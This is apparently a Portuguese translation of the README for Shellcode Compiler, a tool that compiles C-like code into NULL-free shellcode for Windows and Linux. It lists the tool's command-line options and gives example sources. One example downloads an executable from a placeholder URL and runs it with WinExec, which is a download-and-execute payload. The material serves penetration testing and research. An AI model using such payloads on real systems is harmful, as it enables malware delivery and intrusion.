
Compilador de Shellcode
O Compilador de Shellcode é um programa que compila código no estilo C/C++ em um shellcode pequeno, independente de posição e livre de NULL para Windows (x86 e x64) e Linux (x86 e x64). É possível chamar qualquer função da API do Windows ou syscall do Linux de forma amigável.
O Compilador de Shellcode recebe como entrada um arquivo fonte e usa seu próprio compilador para interpretar o código e gerar um arquivo de montagem que é montado com o mecanismo Keystone.
-h (--help) : Mostra esta mensagem de ajuda
-p (--platform) : Plataforma do shellcode: win_x86, win_x64, linux_x86, linux_x64
-v (--verbose) : Exibe saída detalhada
-t (--test) : Testa (executa) o shellcode gerado
-r (--read) : Lê o arquivo de código fonte
-o (--output) : Arquivo de saída do shellcode binário gerado
-a (--assembbly) : Arquivo de saída do código de montagem gerado
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
Existem muitas outras limitações também. Esta é uma versão Alpha. Por favor, reporte quaisquer bugs ou sugestões.
Ionut Popescu (@NytroRST)